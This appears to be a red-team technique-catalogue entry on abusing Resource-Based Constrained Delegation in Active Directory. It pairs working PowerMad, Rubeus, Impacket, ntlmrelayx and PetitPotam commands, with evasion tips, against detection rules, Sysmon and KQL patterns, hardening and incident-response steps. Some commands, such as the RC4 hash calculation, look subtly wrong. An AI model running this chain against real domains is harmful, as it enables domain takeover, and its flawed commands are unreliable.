| Attribute | Details |
|---|---|
| Technique ID | PE-TOKEN-002 |
| MITRE ATT&CK v18.1 | T1134.005 - Access Token Manipulation: SID History Injection / Delegation Abuse |
| Tactic | Privilege Escalation, Lateral Movement |
| Platforms | Windows AD (Domain Controller Functional Level 2012+) |
| Severity | Critical |
| CVE | CVE-2021-42287 (SamAccountName Spoofing combined with RBCD), CVE-2022-26923 (Certificate-Based RBCD) |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Windows Server 2012-2025 (any DCFL 2012+) |
| Patched In | Not patched (privilege-based configuration vulnerability) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Resource-Based Constrained Delegation (RBCD) is a privilege escalation and lateral movement technique that exploits poorly configured Active Directory permissions. Unlike traditional constrained delegation (configured on service accounts), RBCD is configured on the target resource (typically a computer account) via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. An attacker with write access to this attribute (via GenericWrite, GenericAll, or owning the object) can populate it with a controlled account’s Security Identifier (SID). This allows the controlled account to use Kerberos S4U2Self and S4U2Proxy extensions to request service tickets on behalf of any user (except Protected Users) to access the target resource. Combined with MachineAccountQuota (default 10 computer accounts per user), attackers can create a new machine account, configure RBCD, and escalate to Domain Admin.
Attack Surface: Active Directory computer objects with misconfigured permissions, domain controllers, Exchange servers, file servers, and any resource with write-accessible delegation settings. Common entry points include LDAP relay attacks (via NTLM relay), compromised service accounts with write permissions, or exploitation of the CVE-2021-42287 (SamAccountName Spoofing) vulnerability combined with RBCD.
Business Impact: Critical – Full domain compromise. Successful RBCD abuse enables attackers to impersonate any domain user (including Domain Admins, except Protected Users members) and access any resource the target is configured to access. This leads to credential theft, data exfiltration, ransomware deployment, and persistent backdoors.
Technical Context: RBCD exploitation typically takes 5-15 minutes once write access is obtained. The attack chain involves: (1) creating a machine account (if not already compromised), (2) modifying the target’s delegation attribute, (3) requesting S4U tickets, (4) accessing the resource as the impersonated user. The technique is stealthy because it leverages legitimate Kerberos mechanisms and may blend with normal authentication traffic.
msDS-AllowedToActOnBehalfOfOtherIdentity are persistent until explicitly removed| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Control 5.3 / 6.2 | Restrict delegation rights; monitor for unauthorized delegation configurations |
| DISA STIG | WN10-AU-000505 | Audit Privilege Use; detect unauthorized Kerberos delegation |
| CISA SCuBA | ADO-2.1 | Active Directory Security: Delegation configuration review and monitoring |
| NIST 800-53 | AC-2 (Account Management), AC-3 (Access Control), AC-6 (Least Privilege) | Limit delegation rights; enforce principle of least privilege |
| GDPR | Article 32 | Security of Processing: Detect and prevent unauthorized access delegation |
| DORA | Article 9 - Protection and Prevention | Implement controls for identity delegation and access management |
| NIS2 | Article 21 - Cyber Risk Management | Manage privileged access and detect delegation misconfigurations |
| ISO 27001 | A.9.2.3 - Management of Privileged Access Rights | Review and monitor delegation configurations; restrict to authorized accounts |
| ISO 27005 | Risk Scenario: “Privilege Escalation via Delegation Misconfiguration” | Identify and mitigate risks associated with improperly configured RBCD |
Required Privileges:
msDS-AllowedToActOnBehalfOfOtherIdentity attribute on target computer (via GenericWrite, GenericAll, Owns, WriteDacl)Required Access:
Supported Versions:
Tools:
rbcd.py, getST.py (Python RBCD/S4U tools)--delegate-access flag)Enumerate MachineAccountQuota (Permission to Create Accounts):
# Check if current user can create machine accounts
$rootDSE = Get-ADRootDSE
$forest = Get-ADForest
Get-ADObject -Identity "CN=ms-DS-MachineAccountQuota,$((Get-ADRootDSE).defaultNamingContext)" -Properties *
# Alternative: Query directly
Get-ADObject -Identity "CN=ms-DS-MachineAccountQuota,$($(Get-ADRootDSE).defaultNamingContext)" | Select-Object -ExpandProperty ms-DS-MachineAccountQuota
Expected Output: If value > 0, users can create new machine accounts; if 0, only existing compromised accounts can be used.
Enumerate RBCD-Vulnerable Targets:
# Find computer objects with msDS-AllowedToActOnBehalfOfOtherIdentity attribute set
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# Alternative: Check current permissions on a target
Get-ADComputer -Identity "DC01$" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | Select-Object msDS-AllowedToActOnBehalfOfOtherIdentity
What to Look For:
Version Note: All commands work on Server 2012+ (DCFL 2012+).
Enumerate RBCD via Impacket:
# Query for computers with RBCD configured
python3 -m impacket.examples.GetADUsers -dc-ip 10.0.0.1 -all 'DOMAIN/user:password' | grep -i "allowedtoactonbehalfofotheridentity"
# Alternative: Use ldapsearch
ldapsearch -x -H ldap://DC01 -b "dc=domain,dc=com" "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" msDS-AllowedToActOnBehalfOfOtherIdentity
Check Domain Functional Level:
# Query DFL
ldapsearch -x -H ldap://DC01 -b "CN=Directory Service,CN=WindowsNT,CN=Services,CN=Configuration,dc=domain,dc=com" "domainFunctionality" | grep -i "DomainFunctionality"
What to Look For:
DomainFunctionality: 10 or higher (2012 or higher)msDS-AllowedToActOnBehalfOfOtherIdentity present on targetSupported Versions: Domain Functional Level 2012+
Prerequisites:
Objective: Create a new computer account with a set password and SPN.
Command:
# Import PowerMad
. .\Powermad.ps1
# Create new machine account with password
New-MachineAccount -MachineAccount "RBCDMachine" -Password $(ConvertTo-SecureString 'P@ssw0rd123!' -AsPlainText -Force) -Domain "domain.com" -DomainController "DC01"
Expected Output:
[*] Machine account 'RBCDMachine$' created successfully
[*] Password set to: P@ssw0rd123!
[*] SID: S-1-5-21-123456789-123456789-123456789-5501
What This Means:
RBCDMachine$OpSec & Evasion:
Troubleshooting:
[-] Access denied creating machine account
Objective: Calculate the RC4/AES256 hash needed for Kerberos S4U operations.
Command:
# Calculate RC4 (NTLM) hash
$password = 'P@ssw0rd123!'
$ntHash = (New-Object System.Text.UTF8Encoding).GetBytes($password) | ForEach-Object { [Convert]::ToString($_, 16).PadLeft(2,'0') }
# Alternative: Use Rubeus to calculate hash
.\Rubeus.exe hash /password:P@ssw0rd123! /user:RBCDMachine /domain:domain.com
Expected Output:
Hash: 4D967A2A9CFB40677BDA6F13DD7F65B3
What This Means:
Objective: Add the machine account’s SID to the target’s msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
Command (Via PowerShell – Set-ADComputer):
# Get the SID of the machine account
$machineAccountSID = (Get-ADComputer "RBCDMachine$").SID
# Get the target computer
$targetComputer = Get-ADComputer "TARGETDC$"
# Set RBCD permissions
Set-ADComputer -Identity $targetComputer -PrincipalsAllowedToDelegateToAccount @(Get-ADComputer "RBCDMachine$")
Alternative Command (Via PowerView – Domain admin rights may vary):
# Populate msDS-AllowedToActOnBehalfOfOtherIdentity security descriptor
$SDBytes = @()
$machineAccount = Get-ADComputer "RBCDMachine$"
$SDBytes = (Get-DomainComputer $machineAccount.SamAccountName).msds-allowedtoactonbehalfofotheridentity
# Set on target
Get-DomainComputer "TARGETDC$" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
Expected Output:
[*] RBCD attribute modified successfully on TARGETDC$
What This Means:
OpSec & Evasion:
Troubleshooting:
[-] Access denied modifying RBCD attribute
Objective: Obtain a Kerberos TGT for the controlled machine account.
Command (Rubeus):
# Request TGT for the machine account
.\Rubeus.exe asktgt /user:RBCDMachine$ /rc4:4D967A2A9CFB40677BDA6F13DD7F65B3 /domain:domain.com /dc:DC01.domain.com /outfile:RBCDMachine.kirbi
Expected Output:
[*] Requesting TGT for 'RBCDMachine$'...
[*] Ticket obtained and saved to RBCDMachine.kirbi
[*] SPN: krbtgt/DOMAIN.COM
[*] Ticket valid until: 2025-01-10 09:12:00
What This Means:
Objective: Request a service ticket on behalf of a target user (e.g., Administrator).
Command:
# S4U2Self: Request ticket to self (RBCDMachine$) on behalf of Administrator
.\Rubeus.exe s4u /ticket:RBCDMachine.kirbi /user:RBCDMachine$ /rc4:4D967A2A9CFB40677BDA6F13DD7F65B3 /impersonateuser:Administrator /msdsspn:"cifs/TARGETDC.domain.com" /nowrap
Alternative (Via Impacket - Linux):
# Using Impacket getST.py
python3 -m impacket.examples.getST -self -impersonate Administrator -dc-ip 10.0.0.1 -spn "cifs/TARGETDC.domain.com" "domain.com/RBCDMachine$:P@ssw0rd123!"
Expected Output:
[*] S4U2Self successful
[*] Ticket for Administrator to RBCDMachine$ obtained
[*] Ticket saved: Administrator@cifs.kirbi
What This Means:
Objective: Convert the user’s service ticket into a ticket for the actual target service.
Command:
# S4U2Proxy: Use the S4U2Self ticket to request ticket to actual service
.\Rubeus.exe s4u /ticket:RBCDMachine.kirbi /user:RBCDMachine$ /rc4:4D967A2A9CFB40677BDA6F13DD7F65B3 /impersonateuser:Administrator /msdsspn:"cifs/TARGETDC.domain.com" /ptt /nowrap
Expected Output:
[*] S4U2Proxy successful
[*] Service ticket for Administrator@cifs/TARGETDC obtained
[*] Ticket imported into session context (PTT)
What This Means:
OpSec & Evasion:
/ptt to immediately inject into memory (avoids writing .kirbi files to disk)Troubleshooting:
[-] S4U2Proxy failed: KDC_ERR_BADOPTION
Objective: Use the forged ticket to access the target resource.
Command (Access CIFS share):
# Access file share using the injected ticket
dir \\TARGETDC.domain.com\c$
# Alternative: Use with smbclient (Linux)
# smbclient -k -U "Administrator" \\\\TARGETDC.domain.com\\c$
Expected Output:
Directory of \\TARGETDC.domain.com\c$
<DIR> Program Files
<DIR> Windows
<FILE> secrets.txt 1234 bytes
What This Means:
Supported Versions: Domain Functional Level 2012+
Prerequisites:
Objective: Configure ntlmrelayx to automatically modify RBCD when relaying LDAP auth.
Command (On Attacker Machine):
# Run ntlmrelayx with automatic RBCD setup
python3 -m impacket.examples.ntlmrelayx -t ldap://DC01.domain.com --delegate-access -smb2support
Expected Output:
[*] Starting relay server...
[*] Listening on port 445...
[*] Waiting for NTLM authentication...
[*] Accepted relay from CLIENT01$ to ldap://DC01.domain.com
[*] Successfully modified RBCD on CLIENT01$
[*] Object can now act on behalf of any user (created machine account: NTLMRELAYX_SRV$)
What This Means:
Objective: Force a target machine to authenticate to attacker’s relay server.
Command (PetitPotam / PrinterBug coercion):
# Use Petitpotam to coerce DC to authenticate
python3 Petitpotam.py -u user -p password -d domain.com attacker-ip dc-ip
Alternative: Print Spooler Coercion:
# Use printerbug.py
python3 printerbug.py domain.com/user:password@TARGET_DC attacker-ip
Expected Output (on ntlmrelayx):
[*] Received NTLM authentication from DC01$
[*] Relaying to ldap://DC01.domain.com
[*] Successfully modified RBCD configuration
Objective: Use the now-compromised machine account to perform S4U attacks.
Command:
# Use getST.py to request service tickets
python3 -m impacket.examples.getST -impersonate Administrator -dc-ip 10.0.0.1 "domain.com/NTLMRELAYX_SRV$:password" -spn "cifs/DC01.domain.com"
Supported Versions: Domain Functional Level 2012+ (with workarounds for SPN requirement)
Prerequisites:
Objective: Create a user that will be used for SPN-less RBCD (will be unusable after attack).
Command:
# Create user account without SPN
New-ADUser -Name "SPNlessUser" -AccountPassword (ConvertTo-SecureString 'TempPassword123!' -AsPlainText -Force) -Enabled $true
Objective: Configure target to allow SPN-less user delegation.
Command:
# Set RBCD on target for SPN-less user
Set-ADComputer -Identity "TARGETDC$" -PrincipalsAllowedToDelegateToAccount (Get-ADUser "SPNlessUser")
Objective: Get TGT for SPN-less user, reset password hash to TGT session key.
Command:
# Get TGT for SPNless user
python3 -m impacket.examples.getTGT "domain.com/SPNlessUser:TempPassword123!" -dc-ip 10.0.0.1 -outputfile SPNlessUser.ccache
# Extract session key and reset user's password to session key
# (Complex manipulation - refer to James Forshaw's POC)
Note: This method is complex and typically used when MachineAccountQuota = 0.
Version: 1.7+
Supported Platforms: Windows (all versions with .NET 4.5+)
Installation:
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
msbuild /p:Configuration=Release
# Binary: Rubeus\bin\Release\Rubeus.exe
Common Commands:
# Request TGT
Rubeus.exe asktgt /user:RBCDMACHINE$ /rc4:HASH /domain:domain.com /dc:DC01 /outfile:ticket.kirbi
# S4U2Self/S4U2Proxy combined
Rubeus.exe s4u /ticket:ticket.kirbi /user:RBCDMACHINE$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET /ptt
# Inject ticket
Rubeus.exe ptt /ticket:ticket.kirbi
Version: 3.0+
Installation:
. .\Powermad.ps1
Commands:
# Create machine account
New-MachineAccount -MachineAccount TestMachine -Password $(ConvertTo-SecureString 'Password!' -AsPlainText -Force)
# Disable machine account
Disable-MachineAccount -MachineAccount TestMachine
Commands:
# Read RBCD
python3 rbcd.py -action read -delegate-to TARGET$ domain/user:password@DC
# Write RBCD
python3 rbcd.py -action write -delegate-from SOURCE$ -delegate-to TARGET$ domain/user:password@DC
# Clear RBCD
python3 rbcd.py -action clear -delegate-to TARGET$ domain/user:password@DC
Event ID: 4768 (Kerberos TGT Request)
EventID=4768 AND TicketOptions contains "0x4080"Event ID: 5136 (AD Object Modified)
msDS-AllowedToActOnBehalfOfOtherIdentity attribute changedAttributeLDAPDisplayName = msDS-AllowedToActOnBehalfOfOtherIdentityManual Configuration Steps (Enable Directory Service Auditing):
gpupdate /force on domain controllersMinimum Sysmon Version: 13.0+
Sysmon XML Configuration (Detect RBCD-Related Activity):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Rule: Detect Kerberos S4U operations (Process Pattern) -->
<RuleGroup name="RBCD - S4U Operations" groupRelation="and">
<ProcessCreate onmatch="include">
<!-- Detect Rubeus s4u command execution -->
<CommandLine condition="contains any">s4u;S4U;/s4u;/S4U</CommandLine>
<Image condition="contains">rubeus</Image>
</ProcessCreate>
</RuleGroup>
<!-- Rule: Detect PowerMad machine account creation -->
<RuleGroup name="RBCD - PowerMad Execution" groupRelation="and">
<ProcessCreate onmatch="include">
<CommandLine condition="contains any">New-MachineAccount;PowerMad;Powermad</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Rule: Detect ntlmrelayx RBCD exploitation -->
<RuleGroup name="RBCD - ntlmrelayx LDAP Relay" groupRelation="and">
<ProcessCreate onmatch="include">
<CommandLine condition="contains">ntlmrelayx</CommandLine>
<CommandLine condition="contains">--delegate-access</CommandLine>
</ProcessCreate>
</RuleGroup>
</EventFiltering>
</Sysmon>
SecurityEvent
| where EventID == 4768
| where TicketOptions contains "0x40800000" or TicketOptions contains "0x40810000" // S4U indicators
| where TicketEncryptionType == "0x17" or TicketEncryptionType == "0x18" // RC4 or AES
| project TimeGenerated, Computer, TargetUserName, TicketOptions, TicketEncryptionType, IpAddress
| where IpAddress != "::1" // Filter out local DC-to-DC
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName contains "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project TimeGenerated, Computer, SubjectUserName, ObjectName, AttributeValue
Manual Configuration Steps (Azure Portal):
RBCD Attack Detection - S4U OperationsAlert Name: Suspicious Kerberos delegation operation detected
1. Monitor and Audit msDS-AllowedToActOnBehalfOfOtherIdentity Modifications
Detect any changes to RBCD attributes on critical resources.
Applies To Versions: Server 2012+
Manual Steps (Enable Directory Service Auditing):
gpupdate /forceValidation Command:
auditpol /get /category:"DS Access"
# Output: Directory Service Changes - Success and Failure
2. Set MachineAccountQuota to 0 (Restrict Machine Account Creation)
Prevent users from creating new machine accounts (eliminates common RBCD entry point).
Manual Steps (Group Policy):
gpupdate /forceManual Steps (PowerShell – Modify Domain-Wide):
# Set MachineAccountQuota to 0 at domain root
Set-ADObject -Identity "CN=ms-DS-MachineAccountQuota,$(Get-ADRootDSE).defaultNamingContext" -Replace @{"ms-DS-MachineAccountQuota"=0}
Validation Command:
Get-ADObject -Identity "CN=ms-DS-MachineAccountQuota,$(Get-ADRootDSE).defaultNamingContext" | Select-Object "ms-DS-MachineAccountQuota"
# Output: 0
3. Remove Unnecessary RBCD Configurations
Audit all computer objects and remove delegation rights not required by business operations.
Manual Steps:
# List all computers with RBCD configured
Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
# Remove RBCD from computer (if not needed)
Set-ADComputer -Identity "TARGETDC$" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
4. Enable LDAPS and Require LDAP Channel Binding (Prevent LDAP Relay)
Mitigate LDAP relay attacks that trigger automatic RBCD modifications.
Manual Steps (Enable LDAPS):
gpupdate /force5. Add Sensitive Accounts to Protected Users Group
Protected Users group members cannot be delegated (with exception of RID 500 admin).
Manual Steps:
# Add admin/service accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator", "DOMAINADMIN$", "ServiceAccount"
# Verify
Get-ADGroupMember -Identity "Protected Users"
Note: This can break constrained delegation for legitimate services – test thoroughly.
6. Restrict Kerberos Encryption Types (Disable RC4)
Force AES256 instead of RC4 to complicate S4U ticket forgery.
Manual Steps (Group Policy):
gpupdate /forceValidation Command (Verify All Fixes):
# Comprehensive RBCD hardening audit
Write-Host "[*] Checking MachineAccountQuota..."
Get-ADObject -Identity "CN=ms-DS-MachineAccountQuota,$(Get-ADRootDSE).defaultNamingContext" | Select-Object "ms-DS-MachineAccountQuota"
Write-Host "[*] Checking for RBCD configurations..."
$rbcdComputers = Get-ADComputer -Filter {msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null}
if ($rbcdComputers) {
Write-Host "[!] Found $($rbcdComputers.Count) computers with RBCD configured"
} else {
Write-Host "[+] No RBCD configurations found (expected in hardened environment)"
}
Write-Host "[*] Checking Protected Users group..."
Get-ADGroupMember -Identity "Protected Users" | Select-Object SamAccountName
Write-Host "[*] Checking LDAPS enforcement..."
auditpol /get /subcategory:"Directory Service Changes"
Files:
Rubeus.exe, PowerMad.ps1, StandIn.exe (RBCD tools)ntlmrelayx.py, getST.py, rbcd.py (Impacket scripts)C:\ProgramData\*.ccache (Linux-style ticket cache on Windows)Registry:
Network:
Event Logs:
msDS-AllowedToActOnBehalfOfOtherIdentity attributeDisk:
C:\Windows\System32\winevt\Logs\Security.evtx (4768, 5136 events)C:\Users\*\AppData\Local\Temp\*.ccache (Kerberos tickets).kirbi files in temp directoriesMemory:
Cloud (Entra ID):
Isolate:
# Disable affected computer accounts
Disable-ADAccount -Identity "RBCDMachine$"
Disable-ADAccount -Identity "TARGETDC$" # If compromised
Collect Evidence:
# Export AD change logs
Get-WinEvent -LogName "Directory Service" -FilterXPath "*[EventData[Data[@Name='AttributeLDAPDisplayName']='msDS-AllowedToActOnBehalfOfOtherIdentity']]" | Export-Csv -Path C:\Evidence\RBCD_Changes.csv
# Export Kerberos events
wevtutil epl Security C:\Evidence\Security.evtx
Remediate:
# Remove RBCD configuration
Set-ADComputer -Identity "TARGETDC$" -Clear msDS-AllowedToActOnBehalfOfOtherIdentity
# Delete compromised machine account
Remove-ADComputer -Identity "RBCDMachine$" -Confirm:$false
# Reset affected service account passwords
Set-ADAccountPassword -Identity "TARGETSERVICE$" -NewPassword (ConvertTo-SecureString -AsPlainText -Force 'NewSecurePassword!')
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Reconnaissance | [REC-AD-003] PowerView Enumeration | Enumerate AD permissions and identify RBCD targets |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz / [CA-UNSC-003] SYSVOL GPP | Obtain credentials with write access to target objects |
| 3 | Privilege Escalation | [PE-TOKEN-002] RBCD Attack | Configure delegation and impersonate domain admin |
| 4 | Persistence | [PERSIST-ACCT-001] AdminSDHolder Abuse | Create persistent backdoor access |
| 5 | Defense Evasion | [EVADE-IMPAIR-004] Event Log Clearing | Cover tracks and disable logging |
| 6 | Impact | Domain Compromise / Ransomware | Full domain takeover or data exfiltration |
Attack Timeline:
Attack Sequence:
SecurityEvent
| where EventID in (4768, 5136)
| where (EventID == 4768 and (TicketOptions contains "0x40800000" or TicketOptions contains "0x40810000"))
or (EventID == 5136 and AttributeLDAPDisplayName contains "msDS-AllowedToActOnBehalfOfOtherIdentity")
| summarize Count = count() by TimeGenerated, TargetUserName, Computer, EventID
| where Count > 5 // Multiple S4U requests in short timeframe
| order by TimeGenerated desc